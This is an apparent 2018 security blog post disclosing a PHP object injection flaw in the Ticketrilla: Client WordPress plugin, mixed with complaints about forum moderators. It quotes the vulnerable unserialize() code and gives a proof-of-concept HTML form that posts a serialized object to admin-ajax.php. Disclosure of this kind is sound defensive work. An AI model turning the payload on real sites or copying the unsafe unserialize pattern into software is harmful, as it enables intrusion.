23 Oct 2018

WordPress Continues To Prioritize Acting Inappropriately Over Making Sure Plugins Do Not Contain Exploitable Vulnerabilities

What makes the terrible moderation of the WordPress Support Forum and unwillingness of the moderators to stop acting inappropriately or resign in the face of how it harms security is that it isn’t like some of them couldn’t be doing something useful instead of their inappropriate behavior. Two of the moderators we have seen acting inappropriately (one of them being in control of the moderation as well) are also part of the six member team that is in charge of the Plugin Directory. That team is failing to do what it claims to be doing, as we keep finding vulnerabilities that should have been caught by the manual security reviews they claim to do of new plugins. It seems entirely possible that these reviews are not even happening, but if they are, we have repeatedly offered to help them avoid this type of situation, to no effect.

Once again in the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited identified a possible PHP object injection vulnerability in a new plugin. That is the type of vulnerability that more advanced hackers will exploit. This time it was in the plugin Ticketrilla: Client.

It isn’t something that is hard to spot as user input is passed through the unserialize() function, which could permit PHP object injection:

502
), unserialize( stripslashes( $_POST['license_data'] ) ) ),

Looking at the code before that you can see that it is located in a function edit_ticket():

491
492
493
494
495
496
497
498
499
500
501
502
public function edit_ticket() {
	check_ajax_referer( 'ttlc_edit_ticket', '_wpnonce' );
	$result = array();
	$ticket = new TTLC_Rest_Ticket( array(
		'server' => $_POST['server'],
		'login' => $_POST['login'],
		'password' => $_POST['password'],
		'data' => array_merge( array(
			'license_type' => $_POST['license'],
			'parent' => $_POST['external_id'],
			'status' => $_POST['status'],
		), unserialize( stripslashes( $_POST['license_data'] ) ) ),

The only restriction in that is you need send a valid nonce, which prevents cross-site request forgery (CSRF).

That function is accessible by anyone logged in to WordPress through WordPress’ AJAX functionality:

18
add_action( 'wp_ajax_ttlc/edit/ticket', array($this, 'edit_ticket') );

To get a valid nonce you have to visit a page to edit a ticket from the plugin, so anyone logged in to WordPress that can access that could exploit this.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Making sure that this type of vulnerability doesn’t get in the Plugin Directory in the first place seems like a much better use of the people on the WordPress side of things time, but they would rather continue to act inappropriately so far. That has meant for example that the plugin WP DSGVO Tools, which has 30,000+ active installs, has an easily exploitable PHP object injection vulnerability that was disclosed two weeks ago and hasn’t been fixed. The developer would have known about that if not for the moderators, which makes you wonder if they want people to be hacked (they certainly seem more interested in promoting security companies than helping people looking for help with security issues).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with a valid nonce from the page to edit a ticket.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?&action=ttlc/edit/ticket" method="POST" >
<input type="hidden" name="_wpnonce" value='[valid nonce]' />
<input type="hidden" name="license_data" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>